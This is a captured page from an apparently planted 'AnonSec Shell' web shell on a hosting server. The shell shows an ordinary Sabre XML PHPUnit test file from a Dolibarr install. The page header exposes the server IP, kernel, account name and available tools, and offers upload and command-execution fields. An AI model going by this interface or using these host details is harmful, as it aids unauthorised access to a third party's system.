AnonSec Shell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.193
Web Server : Apache
System : Linux webm006.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : awebpaca ( 35430)
PHP Version : 8.5.0
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/awebpaca/Dolibarr/htdocs/includes/sabre/sabre/xml/tests/Sabre/Xml/Element/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/awebpaca/Dolibarr/htdocs/includes/sabre/sabre/xml/tests/Sabre/Xml/Element/XmlFragmentTest.php
<?php

namespace Sabre\Xml\Element;

use Sabre\Xml\Reader;
use Sabre\Xml\Writer;

class XmlFragmentTest extends \PHPUnit_Framework_TestCase {

    /**
     * @dataProvider xmlProvider
     */
    function testDeserialize($input, $expected) {

        $input = <<<BLA
<?xml version="1.0"?>
<root xmlns="http://sabredav.org/ns">
   <fragment>$input</fragment>
</root>
BLA;

        $reader = new Reader();
        $reader->elementMap = [
            '{http://sabredav.org/ns}fragment' => 'Sabre\\Xml\\Element\\XmlFragment',
        ];
        $reader->xml($input);

        $output = $reader->parse();

        $this->assertEquals([
            'name'  => '{http://sabredav.org/ns}root',
            'value' => [
                [
                    'name'       => '{http://sabredav.org/ns}fragment',
                    'value'      => new XmlFragment($expected),
                    'attributes' => [],
                ],
            ],
            'attributes' => [],
        ], $output);

    }

    /**
     * Data provider for serialize and deserialize tests.
     *
     * Returns three items per test:
     *
     * 1. Input data for the reader.
     * 2. Expected output for XmlFragment deserializer
     * 3. Expected output after serializing that value again.
     *
     * If 3 is not set, use 1 for 3.
     *
     * @return void
     */
    function xmlProvider() {

        return [
            [
                'hello',
                'hello',
            ],
            [
                '<element>hello</element>',
                '<element xmlns="http://sabredav.org/ns">hello</element>'
            ],
            [
                '<element foo="bar">hello</element>',
                '<element xmlns="http://sabredav.org/ns" foo="bar">hello</element>'
            ],
            [
                '<element x1:foo="bar" xmlns:x1="http://example.org/ns">hello</element>',
                '<element xmlns:x1="http://example.org/ns" xmlns="http://sabredav.org/ns" x1:foo="bar">hello</element>'
            ],
            [
                '<element xmlns="http://example.org/ns">hello</element>',
                '<element xmlns="http://example.org/ns">hello</element>',
                '<x1:element xmlns:x1="http://example.org/ns">hello</x1:element>',
            ],
            [
                '<element xmlns:foo="http://example.org/ns">hello</element>',
                '<element xmlns:foo="http://example.org/ns" xmlns="http://sabredav.org/ns">hello</element>',
                '<element>hello</element>',
            ],
            [
                '<foo:element xmlns:foo="http://example.org/ns">hello</foo:element>',
                '<foo:element xmlns:foo="http://example.org/ns">hello</foo:element>',
                '<x1:element xmlns:x1="http://example.org/ns">hello</x1:element>',
            ],
            [
                '<foo:element xmlns:foo="http://example.org/ns"><child>hello</child></foo:element>',
                '<foo:element xmlns:foo="http://example.org/ns" xmlns="http://sabredav.org/ns"><child>hello</child></foo:element>',
                '<x1:element xmlns:x1="http://example.org/ns"><child>hello</child></x1:element>',
            ],
            [
                '<foo:element xmlns:foo="http://example.org/ns"><child/></foo:element>',
                '<foo:element xmlns:foo="http://example.org/ns" xmlns="http://sabredav.org/ns"><child/></foo:element>',
                '<x1:element xmlns:x1="http://example.org/ns"><child/></x1:element>',
            ],
            [
                '<foo:element xmlns:foo="http://example.org/ns"><child a="b"/></foo:element>',
                '<foo:element xmlns:foo="http://example.org/ns" xmlns="http://sabredav.org/ns"><child a="b"/></foo:element>',
                '<x1:element xmlns:x1="http://example.org/ns"><child a="b"/></x1:element>',
            ],
        ];

    }

    /**
     * @dataProvider xmlProvider
     */
    function testSerialize($expectedFallback, $input, $expected = null) {

        if (is_null($expected)) {
            $expected = $expectedFallback;
        }

        $writer = new Writer();
        $writer->namespaceMap = [
            'http://sabredav.org/ns' => null
        ];
        $writer->openMemory();
        $writer->startDocument('1.0');
        //$writer->setIndent(true);
        $writer->write([
            '{http://sabredav.org/ns}root' => [
                '{http://sabredav.org/ns}fragment' => new XmlFragment($input),
            ],
        ]);

        $output = $writer->outputMemory();

        $expected = <<<XML
<?xml version="1.0"?>
<root xmlns="http://sabredav.org/ns"><fragment>$expected</fragment></root>
XML;

        $this->assertEquals($expected, $output);

    }

}

Anon7 - 2022
AnonSec Team